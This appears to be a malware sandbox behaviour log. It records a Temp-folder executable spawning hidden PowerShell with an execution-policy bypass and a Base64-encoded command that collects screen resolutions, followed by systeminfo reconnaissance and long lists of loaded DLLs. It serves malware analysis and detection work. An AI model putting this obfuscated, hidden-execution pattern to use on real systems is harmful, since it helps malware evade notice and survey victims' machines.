Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
